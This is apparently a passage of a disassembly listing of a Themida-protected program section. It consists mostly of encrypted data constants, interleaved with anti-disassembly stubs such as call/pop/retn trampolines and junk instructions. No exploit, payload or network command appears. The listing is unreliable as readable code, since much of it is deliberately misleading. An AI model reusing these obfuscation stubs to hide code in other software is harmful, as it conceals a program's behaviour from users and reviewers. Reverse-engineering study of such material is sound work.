		dd 0C8B5808h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 5F2434FFh, 4C481h, 0DE90000h, 0DBFFFA55h, 167B6B88h
		dd 317F8BBh, 18B85130h,	30617F2h, 98E0FFC5h, 4F346C11h
		dd 4C66B74Eh, 4E32D98Ah, 0C8350BD3h, 1F5A48ABh,	0AE33218Eh
		dd 0BC4A4198h
		db 3Fh
byte_5B8EA1	db 77h,	78h, 0F0h	; DATA XREF: Themida_:0054DB3Er
					; Themida_:005A3823r
		db  1Dh
		db 0F1h, 72h, 0EDh
		dd 0D01FDE4h, 925D3DEDh, 0B5123AD2h, 9267D41Ah,	0D6427AAh
		dd 91503BA2h, 25557DD1h, 974CA869h, 0F72CC81Fh,	0D210CE69h
		dd 2E10266Ch, 6A707041h, 7746D969h, 5E162E40h, 8B3E9160h
		dd 0E8644918h, 7, 993C6663h, 66271101h,	5B0CCDB8h, 81B3ED80h
		dd 66E4C3h, 14E900h, 8F1F0000h,	0C8E72702h, 0EC866EEEh
		dd 5B1ECCB5h, 0F5EA27CFh, 8F68EC42h, 0F000019h,	665EC2BFh
		dd 1714CA81h, 800F3B8Bh, 7, 0C9816652h,	815936FEh, 848699EFh
		dd 0D08B6669h, 0DBBFEF81h, 810F2298h, 3, 81CEB70Fh, 0CB5D4BC7h
		dd 2DB65768h, 890F038Fh, 17h, 12E9h, 24E59200h,	0CA5825Fh
		dd 8F12ECB5h, 0E83CC75Fh, 83C2CC59h, 0BE904EBh,	3A000000h
		dd 66ADD3D2h, 81D1F6D6h, 0EE81452Bh, 1,	0FF92850Fh, 0C68BFFFFh
		dd 0BE8h, 87560600h, 73EB5A94h,	9B9510B3h, 8B8BBF60h, 0E1812AB2h
		dd 23668EB0h, 81F55A61h, 5CEDC2h, 5830F00h, 66000000h
		dd 823DC881h, 0BB66F62Bh, 3C8B8FE7h, 8E85732h, 8B000000h
		dd 0AEC082F0h, 0E9B7341Fh, 9, 7401B29Ch, 5DB9B478h, 815B58E5h
		dd 99244BC7h, 0BB666074h, 8D0F4030h, 2,	8161DA8Bh, 4A1329F7h
		dd 5840F5Dh, 66000000h,	0E205D081h, 1703EF81h, 0B9666032h
		dd 3C892843h, 8F29BB32h, 890F535Eh, 1, 3EE83FCh, 5860F60h
		dd 66000000h, 1C10C181h, 61DA8B66h, 96BB664Eh, 0C8FE810Eh
		dd 0FFFFFA3h, 0FFFF7D85h, 0C516B8FFh, 28E95112h, 76000000h
		dd 1144E2h, 8 dup(0)
		dd 0E9000000h, 4EBh, 17F5E668h,	8931E906h, 7368FFF9h, 0E90617F6h
		dd 0FFF98927h, 17F7D368h, 891DE906h, 0A5A3FFF9h, 8542E4AAh
		dd 0E362C48Ah, 0C57CA6ECh, 262284CAh, 1BC06329h, 1B717EEAh
		dd 0FC525D89h, 0E0B6B9AAh, 0C58B8446h, 0EA183F73h, 79C97E98h
		dd 8743F82Ch, 8F097588h, 18A05E3Bh, 55FD3FCh, 27ED4DBh
		dd 0B6526584h, 0C7AB4E70h, 6EDA8E6Ah, 0A6FB5EE9h, 0E062B0D5h
		dd 4E221EEFh, 0D67D361h, 1CC4D9D6h, 0CB594514h,	7F70F01Bh
		dd 5486A9C1h, 0A1C984DBh, 0D2EAF40Fh, 9709DC5Eh, 0EE29D09h
		dd 6F036548h, 2F418h, 0EB54AE00h, 392719E4h, 0F6D95792h
		dd 7F8DE5E9h, 0F8262965h, 0FCF968Ch, 21B8B9F1h,	66D28662h
		dd 0A7930EF1h, 0B4E513D5h, 3639247Eh, 1E0169D7h, 0C6EAED65h
		dd 4742088h, 333BB013h,	61E3B5DAh, 0F12DF06Eh, 52ABA4A3h
		dd 41AF8AEEh, 0A6322515h, 0F2D84259h, 0C6EEFD4h, 0CCA4EDF7h
		dd 0FBE555E3h, 9C958056h, 9FEB8F8Ah, 64D4DB05h,	5CD4DB0Eh
		dd 717EE83Ah, 3B7DDBA0h, 44F24B72h, 335h, 0DAB0BFA5h, 0BE949B48h
		dd 0A0F6F964h, 86CCC306h, 652B241Ch, 78E819C2h,	47872177h
		dd 0A7A00248h, 8640E2A8h, 3971C389h, 7E97E816h,	0E6267FC9h
		dd 48386CB4h, 0AE81ACC7h, 62E7B1D5h, 94AC57FDh,	74E23679h
		dd 54FBB7A9h, 0C97EF5A6h, 0A1910FBDh, 4999653h,	0FC2854DCh
		dd 0C5ADA2A6h, 0F166AB9Fh, 0C97EF541h, 563CAAC6h, 6999BEEAh
		dd 0FEC97EF5h, 4CF42E42h, 6A9FBA43h, 7AC97EF5h,	2F2023C8h
		dd 0FE9160B1h, 380570A7h, 2A832h, 3D323000h, 1916CD57h
		dd 7B74F133h, 59569315h, 0BEB1B1F3h, 77A64FD8h,	0C96FCF3h
		dd 2F79DFD0h, 0CB5D333Ch, 0F6401619h, 966595BAh, 0B1E2C97Eh
		dd 386CB473h, 81ACC748h, 3B1D5AEh, 98AB5FFAh, 0A6FAC97Eh
		dd 0E017D9Dh, 0C97E98E0h, 0DBA1C967h, 9DA1FE3h,	190AFh
		dd 7B657D00h, 8C88BA33h, 1E036F93h, 3EA8FD38h, 88BAE880h
		dd 0EA386687h, 0B3AD707Fh, 50BBA5FFh, 0A8AF9B94h, 0CF95C37Ah
		dd 9DCD7B89h, 0A0C8C707h, 8196C23Eh, 0CF95C351h, 7BD65AD6h
		dd 0FC312D9Dh, 95C3AB5Bh, 9E0CB8CFh, 0DC1F3060h, 81D5A6E9h
		dd 7BAFAA73h, 0CAC984A0h, 0EBD3CD56h, 0A709DC07h, 33h
		dd 386CB475h, 17F21C48h, 0EDAFC4A4h, 0D6444BF8h, 0E286FDA2h
		dd 62B0D5A6h, 2D13EAE5h, 0CFDE6A45h, 84A2D608h,	76F127C9h
		dd 0DC055468h, 0AC1A09h, 43A20000h, 37F8E81h, 0A1374A85h
		dd 69013C0Ah, 0FD000F3Bh, 0F9F67381h, 0FEF173B1h, 0F46BD52Fh
		dd 50A8093h, 0CF959BD5h, 1C382652h, 0FC93CF56h,	0CF96064Eh
		dd 6329A7D5h, 960BE83Ch, 1D729CCFh, 0B3DDECDh, 0BEA8FABEh
		dd 52BEDBB1h, 0C384A06h, 0D4A70503h, 42241974h,	1FBDD22Eh
		dd 8D5AA38h, 0F2768CFCh, 0D50D97FDh, 3D5ECFDAh,	5E68F5Ch
		dd 148D1h, 5D529000h, 0B9B6ADF7h, 9B9451D3h, 0F9F673B5h
		dd 0DED11193h, 0D7062F78h, 0EC361C13h, 8F197F70h, 0ABFD535Ch
		dd 56E0B6B9h, 9605355Ah, 1102C97Eh, 88874313h, 0E9E660C2h
		dd 814329A3h, 3B257F8Eh, 0B6E25E34h, 968C71A1h,	0E7AF6CFh
		dd 968CD909h, 5ED26ECFh, 114115F3h, 0A7DB0A7Eh,	96C23ED5h
		dd 853E5181h, 355AD6C9h, 0C9853F05h, 1582F602h,	0E959ABE7h
		dd 578BB0E6h, 99C9853Eh, 0B8EAA0AFh, 0F0668788h, 0C1h
		dd 386CB49Ah, 81A8C748h, 94EED5AEh, 9858A5AAh, 74892790h
		dd 5B313E28h, 45AE95EFh, 11199798h, 60DC11D3h, 7E983FEFh
		dd 23A8C4C9h, 0C97E98F3h, 0B756C470h, 0D1B3FE90h, 3B3430E0h
		dd 6B9BBCE2h, 0F8BE519Dh, 7083A4Ch, 6797B8E6h, 0FCBE519Dh
		dd 0E063A540h, 9DDF0F00h, 0C864BE51h, 54EFA55Ah, 0E35F5092h
		dd 4E5F5091h, 2E789E92h, 5947333Ch, 9D450E3Ah, 867F492h
		dd 36452624h, 89C61256h, 75ECC8E1h, 0C0BEA37Ah,	0F89773C6h
		dd 0C0A858F3h, 915395AEh, 4E48B89Eh, 558D759Eh,	30720659h
		dd 76E43936h, 19h, 4748F80Ah, 7B65D933h, 1C3075EBh, 0EC63DFA1h
		dd 0CF95CB3Eh, 64C3B7C5h, 8A854324h, 303F2973h,	5B5497EDh
		dd 0C5CA7A42h, 6B64DC38h, 919E4A92h, 3E31300Ch,	0A7A895EFh
		dd 0C6C97E46h, 89533727h, 4C381E3h, 83000000h, 1C8704EBh
		dd 24248B24h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h
		dd 1B4Eh, 68240C89h, 617F4E0h, 83241C8Bh, 8B5404C4h, 0C483240Ch
		dd 0DE895604h, 8B087189h, 0C4832434h, 2434FF04h, 4C48159h
		dd 0FF000000h, 835B2434h, 5CE904C4h, 13FFF984h,	4B1CEC7Fh
		dd 0E1314403h, 0B8DF7060h, 617F940h, 0E0FFC503h, 71D634EAh
		dd 20F1F245h, 5BBFE60Eh, 70226BC8h, 7ED6CE5Fh, 3C6CF006h
		dd 39E6D65Dh, 22836C5Ch, 0FABC8D8Dh, 8E80617h, 1F000000h
		dd 0C58FF803h, 8B801E03h, 1104B1BDh, 8D895806h,	611285Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B5C35545h
		dd 0BA663330h, 85C749ADh, 6112DD1h, 5D94h, 3DFBF0Fh, 111FED9Dh
		dd 985C706h, 61127h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8180C352h, 0CE52A7EAh
		dd 0A9B5FF0Dh, 6A061131h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 86F7C353h, 0C8D1DFEBh
		dd 5E9h, 10365D00h, 840FE23Eh, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+6111DA9h]
		push	0
		push	edx
		call	sub_5B9665
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9665	proc near		; CODE XREF: Themida_:005B965Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B9665	endp

; ---------------------------------------------------------------------------
		das
		xor	eax, 7E9DE03Bh
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5B96E1
; ---------------------------------------------------------------------------
		db 3Ah
		dd 4D1EA6ACh, 0B3D917DEh, 5D6D2316h, 0A04D0071h, 0C1CBBB17h
		dd 58328B05h, 7F37F006h, 52800720h, 0D5784BC3h,	7F1994DCh
		dd 0FE9B3852h, 72D65A81h, 76DD795Ch, 2C08FF38h,	96E20D3Dh
		dd 0ACBC2AA2h, 4E436640h, 0CE6E66B5h, 59BA19A9h, 2872CA8Eh
		dd 5ACF78F5h, 8A042F94h
		db 69h
; ---------------------------------------------------------------------------


loc_5B96E1:				; CODE XREF: Themida_:005B9685j
		lea	ecx, [ebp+617FBE6h]
		mov	bx, 8593h
		mov	[ebp+611285Dh],	ecx
		push	0
		push	edi
		call	sub_5B96FC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B96FC	proc near		; CODE XREF: Themida_:005B96F4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5B96FC	endp

; ---------------------------------------------------------------------------
		pushf
		ror	edi, 1
		mov	ebp, 0E7135270h
		jbe	loc_5B9724
		pusha
		mov	[ebp+6113041h],	edx
		mov	ah, 3
		popa


loc_5B9724:				; CODE XREF: Themida_:005B9714j
		mov	dword ptr [ebp+6112DD1h], 63D4h
		push	0
		push	ecx
		call	sub_5B9739
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9739	proc near		; CODE XREF: Themida_:005B9731p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B9739	endp

; ---------------------------------------------------------------------------
		mov	word ptr [ebx-4DE2B031h], ss
		mov	ah, 0CCh
		mov	dword ptr [ebp+6112709h], 0
		mov	di, ax
		push	dword ptr [ebp+61132D9h]
		jns	loc_5B976F
		mov	eax, 4167C37Ah


loc_5B976F:				; CODE XREF: Themida_:005B9764j
		pusha
		mov	eax, 4AC4CEE9h
		xor	[ebp+6110B01h],	ebx
		popa
		call	dword ptr [ebp+6111DA9h]
		push	0
		push	edx
		call	sub_5B978D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B978D	proc near		; CODE XREF: Themida_:005B9785p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B978D	endp

; ---------------------------------------------------------------------------
		or	[eax+2DF5B501h], dl
		adc	[esi], eax
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_5B981C
; ---------------------------------------------------------------------------
		db 0D7h, 8Bh, 0E4h
		dd 3B5A04FFh, 6ADA047Fh, 15D6F77Bh, 5F14ACF0h, 39C21AF2h
		dd 3F6BDCB2h, 0CED3C5DFh, 16EA5EF4h, 0D562DB94h, 9C9E21Eh
		dd 4A89AD7Ch, 2CDB2E45h, 444D5C06h, 1B7A38CBh, 9FB3F0C2h
		dd 8B827D30h, 5DD1BAE1h, 9AC44CCDh, 7A226F13h, 47620DBDh
		dd 0E683A65Bh, 13F65802h, 1CD4284Bh, 58FB5F93h,	55E61C59h
		dd 2A09EFE9h
; ---------------------------------------------------------------------------


loc_5B981C:				; CODE XREF: Themida_:005B97AFj
		lea	ecx, [ebp+617FD27h]
		mov	[ebp+6111459h],	eax
		mov	[ebp+611285Dh],	ecx
		jmp	loc_5B983B
; ---------------------------------------------------------------------------
		sbb	esi, ebp
		or	[eax-2D5DD126h], edx


loc_5B983B:				; CODE XREF: Themida_:005B982Ej
		mov	dword ptr [ebp+6112DD1h], 7264h
		push	0
		push	edi
		call	sub_5B9850
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9850	proc near		; CODE XREF: Themida_:005B9848p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B9850	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebp
		aaa
		or	cl, [ebx]
		sbb	[ecx+11324995h], cl
		push	es
		mov	dword ptr [ebp+6112709h], 0
		adc	bx, 97D5h
		sub	bx, 8CCAh
		push	dword ptr [ebp+61131A9h]
		push	0
		push	ebx
		call	sub_5B9890
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9890	proc near		; CODE XREF: Themida_:005B9888p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B9890	endp

; ---------------------------------------------------------------------------
		push	esp
		push	ebx
		ficomp	word ptr [ebp-80h]
		retf	0FF17h
; ---------------------------------------------------------------------------
		dd 111DA995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E858CBA4h, 0Fh, 950D6E77h, 8D0816F6h
		dd 46032DB0h, 3D7C2C0h,	110C55BDh, 6A5E06h, 5C595FFh, 0C08B0611h
		dd 0D5715AEBh, 0A5F084EBh, 70C66232h, 3EE4DC45h, 0A7F0166Eh
		dd 5D717052h, 0BF568E2Dh, 0F953856Eh, 0E851A10Bh, 6FEE2B14h
		dd 0E9653017h, 192DD69Fh, 64601586h, 53FFC980h,	3A64E25Bh
		dd 8EAD088h, 6884A3D1h,	0E5F59F1Eh, 9274334Dh, 30BB0EB6h
		dd 8CCCA319h, 997AC67Ch, 0F5654427h, 0FE718D8Dh, 6A0617h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 25B2D8C3h, 0C27F094Ah, 11E8ECh, 14970000h, 0A2A64858h
		dd 19C295Ah, 9F77E13Eh,	667DD294h, 895AF18Bh, 11285D8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 7860FE4h, 60000000h, 11C374B9h, 85C76175h
		dd 6112DD1h, 7298h, 270985C7h, 611h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF9080C3h
		dd 1108E1B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0EA052693h, 1DA995FFh, 11E90611h
		dd 4F000000h, 0D084CBD0h, 29B928D6h, 0BF13471h,	9E91C419h
		dd 95FF006Ah, 61105C5h,	69EBC08Bh, 1F87D7C6h, 8FC78857h
		dd 354D7FBAh, 96BC9451h, 64BD5B94h, 0F723400Fh,	819643EEh
		dd 7F0C6782h, 0F0BD4FEFh, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch
		dd 0FBECEC6Fh, 0C4AF7D97h, 0E780E25Fh, 3894BDCBh, 7DC86CFDh
		dd 0BFCA8D2Ah, 66718B72h, 0DC3FF262h, 9638A766h, 163B9318h
		dd 0ACA4D37Bh, 4E84E9E8h, 681F3230h, 9D207513h,	9E83Eh
		dd 0C6A70000h, 4E175D23h, 0FCA11561h, 0E7DA805Eh, 68A5C681h
		dd 81660000h, 333888D0h, 3734FFFFh, 1C759529h, 0F590611h
		dd 0F181D3BFh, 4B4EC650h, 6830Fh, 9D8B0000h, 6110F8Dh
		dd 4168E981h, 952951C3h, 6112B19h, 2B5AC181h, 5E91AE0h
		dd 21000000h, 7B00CFFEh, 0BA3E0C89h, 77A2A834h,	0AE8h
		dd 8BDE1900h, 9F683B7Dh, 8B71975Fh, 11203995h, 0EF835A06h
		dd 0E59D8903h, 4F061103h, 0FE95060h, 25000000h,	5EDB8F2h
		dd 4904846Fh, 0EE2DBDDAh, 665AAF79h, 8161C38Bh,	0FF9840FFh
		dd 19850FFFh, 81000000h, 508459F2h, 39E96Bh, 0EB6D0000h
		dd 8EB5E6FCh, 28BA4E2Eh, 0D576508Dh, 0CE8h, 41C3D000h
		dd 59BC8DBCh, 997174A8h, 9D858B2Ch, 5A061122h, 0FFFF40E9h
		dd 95922DFFh, 4F262DE5h, 884B330Ah, 0E83F5D7Bh,	7, 740FD888h
		dd 89C9B8DEh, 111DE1B5h, 81665B06h, 819D61CFh, 597AC3h
		dd 3DBD8B00h, 2B061113h, 218501F6h, 8B061120h, 0E981330Ch
		dd 6D76AAF9h, 0CE28166h, 0A8C18180h, 8972922Ch,	11022D85h
		dd 94E98106h, 890A12A5h, 1130F19Dh, 0BD8B5106h,	61113C5h
		dd 3133048Fh, 1121418Dh, 12E906h, 84BE0000h, 0C9A95EA5h
		dd 0C2583E46h, 252A857Fh, 837A10B2h, 73AEE81h, 0C6816027h
		dd 60270736h, 0E800Fh, 9E90000h, 0B2000000h, 827CE849h
		dd 72E90ED4h, 0A748FE81h, 850FFFFFh, 15h, 0FCD958Bh, 1BE90611h
		dd 0DB000000h, 7782F18Dh, 48896B86h, 0F0816621h, 68E9EA5Bh
		dd 0B3FFFFFFh, 0C6BD5DC1h, 8D8DE919h, 618019Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 95C35141h, 3DB58B84h
		dd 8906111Fh, 11285D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 5EFD2218h, 0D5EB24B1h
		dd 66D2BF0Fh, 0C7CBD4B8h, 112DD185h, 606806h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 736DD12Ah, 2445480Dh, 9D891E3Fh, 6110695h, 0C7C18B66h
		dd 11270985h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0D5383C77h, 0FF9BC21Ch
		dd 113199B5h, 68D0F06h,	89000000h, 1106798Dh, 0A995FF06h
		dd 6A06111Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 8D5DC350h, 0B2BF0AB3h,	820Fh
		dd 6A0000h, 5C595FFh, 0C08B0611h, 0EF6B08EBh, 9AFEF23Bh
		dd 8D8D8AB5h, 61802A1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 3AC35141h, 0F58FA84Ah, 0E02B0655h, 50A8BB66h
		dd 285D8D89h, 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 726013C3h, 0DCB955F6h, 56281B98h
		dd 0FE8h, 0BDFF1300h, 7954D520h, 9041CF25h, 81207C2h, 85C75B5Ah
		dd 6112DD1h, 65FCh, 7ED68166h, 985C7B6h, 61127h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0CC20C355h, 595C529Bh, 0EE908h, 0D86F0000h
		dd 0D0EB614Ch, 5F00D357h, 27A594Eh, 0FFFEBF0Fh,	111BFDB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F9C0F3FCh, 1DA995FFh, 9D890611h, 6110E59h
		dd 95FF006Ah, 61105C5h,	1EEBC08Bh, 0A1E2C6B4h, 0DF62F50Ah
		dd 1AE488CEh, 0BBC9704h, 0D098DBFAh, 1FC7181Ah,	0ECF23197h
		dd 8D8D3881h, 6180362h,	0EE9h, 0B07E4600h, 0EE8BF1B4h
		dd 5FEE5B8Fh, 8991FCECh, 11285D8Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 99E0D719h
		dd 0D185C7ADh, 0A806112Dh, 66000073h, 85C7D68Bh, 6112709h
		dd 0
; ---------------------------------------------------------------------------
		mov	ah, 8Eh
		push	dword ptr [ebp+61103A1h]
		add	[ebp+6110FE9h],	edx
		call	dword ptr [ebp+6111DA9h]
		push	0
		push	ecx
		call	sub_5B9EFF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9EFF	proc near		; CODE XREF: Themida_:005B9EF7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B9EFF	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 8F75F034h, 9589FBF8h, 6112369h, 0F0B70F51h, 0FF006A5Eh
		dd 1105C595h, 0EBC08B06h, 9EDCD748h, 7AF27F79h,	1197FFEDh
		dd 0AE5C797Dh, 2AE9D643h, 0A23F58B1h, 5A10D239h, 0B6282D7Fh
		dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0FAB90B51h
		dd 505AD351h, 3D7627Dh,	2DF2F870h, 46F08FFDh, 27C7B067h
		dd 0EE8D2h, 0AF0000h, 0E1B9301Bh, 5258F58h, 0F40B8617h
		dd 0FEBABF66h, 14E85Eh,	4E380000h, 765127DCh, 6F47F624h
		dd 40ABA8F6h, 4DED302Fh, 9529F7ABh, 6113071h, 9EC6815Fh
		dd 0E8000074h, 0Bh, 7A7D18D0h, 96059A6Eh, 15EA3A3h, 113191B5h
		dd 0C9335F06h, 890E048Bh, 110B31B5h, 7CE88106h,	112CB75h
		dd 1122D99Dh, 4AF08106h, 0F1C6267h, 0E881FAB7h,	22C2AD7Ah
		dd 30F5BD89h, 2B500611h, 11136195h, 0E048F06h, 6FC28166h
		dd 2E983FDh, 4973E380h,	0E3816649h, 0F981E2EAh,	0FFFF8C04h
		dd 0FFAE850Fh, 0DE8BFFFFh, 5668D8Dh, 14E80618h,	0B9000000h
		dd 1D8C9BB6h, 5EA833A1h, 32EB3B76h, 4F99D278h, 0E99DACC7h
		dd 0Ch,	2989EA13h, 0B6C4E8E1h, 0B11571B8h, 0CD85895Ah
		dd 8906110Eh, 11285D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 89C78BE4h, 1132758Dh
		dd 0D185C706h, 5C06112Dh, 6A000066h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 2396C351h
		dd 3C200EEDh, 6DE5D533h, 270985C7h, 611h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 1D6213C3h, 0E91EB9A7h, 0Bh, 4C049919h, 0D2E2F1EDh, 66777C2Bh
		dd 0B5FFC38Bh, 6111BFDh, 9EDBD2Bh, 95FF0611h, 6111DA9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BC35343h
		dd 7A758D97h, 59C11736h, 0FF006A7Bh, 1105C595h,	0EBC08B06h
		dd 5C0A3E1Eh, 0D8026691h, 8C66B3A9h, 0C697BE7Eh, 7C51B13h
		dd 78920EAFh, 0ECBE05B2h, 0E8D1544Dh, 0Dh, 0D5DFCF23h
		dd 4CD86FE9h, 57D0EB61h, 8E8D3h, 4D780000h, 0B590EA08h
		dd 0BD896208h, 6110859h, 81FC585Bh, 6134C0h, 0D1B70F00h
		dd 8D8BFF2Bh, 6112C19h,	890734FFh, 11137595h, 9D8B5E06h
		dd 611022Dh, 0B01AF681h, 8D2B1EFFh, 6112491h, 3671C681h
		dd 0B58932A5h, 61128C9h, 0AB47F681h, 0B58938E0h, 6110715h
		dd 2B383489h, 111DFD95h, 83F8B106h, 8B5704EFh, 0FF815ACBh
		dd 0FFFF9F7Ch, 16850Fh,	92B70000h, 27E9h, 0EB2D2800h, 0B3F12C3Ch
		dd 0B21E254Eh, 9814573Bh, 88E0DABAh, 0FF8EE909h, 6B3AFFFFh
		dd 64F7E94Dh, 749DC6F9h, 743A88D4h, 13E8h, 1901600h, 2FC7E8AAh
		dd 649A5791h, 581C2B32h, 8F71D240h, 31F98D03h, 815B0611h
		dd 0FD7F3FEFh, 2CC38169h, 8A000066h, 0BACBh, 0B5890000h
		dd 6113049h, 5E1A34FFh,	2B35858Bh, 0C6810611h, 19A5FD55h
		dd 81C28B66h, 1F0E16F6h, 9E803h, 2D330000h, 0D201E894h
		dd 0E9EB93C8h, 12h, 6AA7781Dh, 93998E26h, 995C92AAh, 0EDF2B8E1h
		dd 81584707h, 5156EDC6h, 7EC88126h, 8955E1B2h, 0BD8B1334h
		dd 611135Dh, 5EDBD8Bh, 0EA830611h, 61850B04h, 81061126h
		dd 0FF9A78FAh, 91850FFFh, 33FFFFFFh, 110649BDh,	0CE806h
		dd 0E63D0000h, 0D64AB054h, 0E84C91E2h, 8B0FBF89h, 6, 0D1B70F60h
		dd 315B61F9h, 1127899Dh, 54C38106h, 8B00006Dh, 1B16BED0h
		dd 12E80000h, 0BF000000h, 0E801DE6Fh, 50EF7AE4h, 9D19D2F8h
		dd 0D4FBFFDh, 13E9ECh, 1CC40000h, 0D4638863h, 0A3993E69h
		dd 0C71D424Ch, 687961CAh, 33FF58BDh, 68A0Fh, 0BD890000h
		dd 6112171h, 0C6B70F59h, 0B671F181h, 81601911h,	0A03AEE9h
		dd 9E958h, 639A0000h, 0CB07E16Eh, 6113D61Dh, 2BC7C181h
		dd 0BD8B63D6h, 6110AA1h, 0C0EEE981h, 13E94013h,	33000000h
		dd 3FDE65BFh, 863A02E8h, 0D64CB7F0h, 1A0EA74Ch,	951ADF6h
		dd 111CF1BDh, 89038F06h, 11224195h, 4EB8306h, 0F01EE83h
		dd 2485h, 0BE900h, 0EB800000h, 544725C1h, 0E2AF2B23h, 1CE970h
		dd 3E810000h, 80272561h, 432EFDB2h, 28EE1A56h, 0FF64E961h
		dd 0C7D9FFFFh, 816E43C6h, 9E8992Ah, 2A000000h, 0C7044A6Eh
		dd 69CF5DCBh, 29098589h, 665F0611h, 9E3FC381h, 70D9C781h
		dd 8D0F0000h, 2, 0C933FCB7h, 0FFD3BF0Fh, 7E93934h, 0DF000000h
		dd 0FCC8E56Eh, 8B5ED72Dh, 0B0EE81D9h, 0F75A62Dh, 0EE81D3B7h
		dd 274F7B32h, 0F3EB8166h, 9FC68161h, 6065F210h,	6758D89h
		dd 0B50B0611h, 61108BDh, 0F348961h, 0FE9h, 12A46900h, 5CD7E557h
		dd 0BA334BECh, 79B958DBh, 2BC28166h, 4E9835Ch, 3EDB501h
		dd 0F9810611h, 0FFFF8FBCh, 0FF95850Fh, 850BFFFFh, 61131F9h
		dd 89A07582h, 78146908h, 0AF8DA6DCh, 8636345Ch,	8635A12Eh
		dd 0AD92590h, 5302548h,	97174499h, 23F2514h, 86302576h
		dd 99199807h, 89302353h, 863057A5h, 57B5E390h, 0C836344Eh
		dd 0E7ECBB4Ch, 0A204A4C6h, 0FA132ED7h, 0A151907Bh, 3BD2353h
		dd 8024515Eh, 76BBF56Fh, 80E1A08Eh, 0EE7E2335h,	37AA591Fh
		dd 0CB141188h, 7929FD2Fh, 972F0CF7h, 0F9B5A827h, 793631E4h
		dd 3FC8AE98h, 86302534h, 86302DFBh, 33F8309h, 8630258Ah
		dd 89F92E0Bh, 79CFD5A4h, 863DCC6Fh, 1BBD2548h, 80216B1Ah
		dd 863020AAh, 0BD3DA09h, 9E38B739h, 0C9BDA844h,	3E363D28h
		dd 82h,	6FF1EA63h, 89A07582h, 78146908h, 0AF8DA6DCh, 8636345Ch
		dd 8635A12Eh, 0AD92590h, 5302548h, 5E98399h, 22B9A4F3h
		dd 0E8000000h, 0Ah, 0CA082D5Fh,	0F31D56ACh, 0D2803B73h
		dd 9D8B5FB4h, 61126A9h,	7520C781h, 8AB90000h, 817328A5h
		dd 28B891F1h, 0E98D0973h, 8B061129h, 81D68B07h,	0BFA0F7E8h
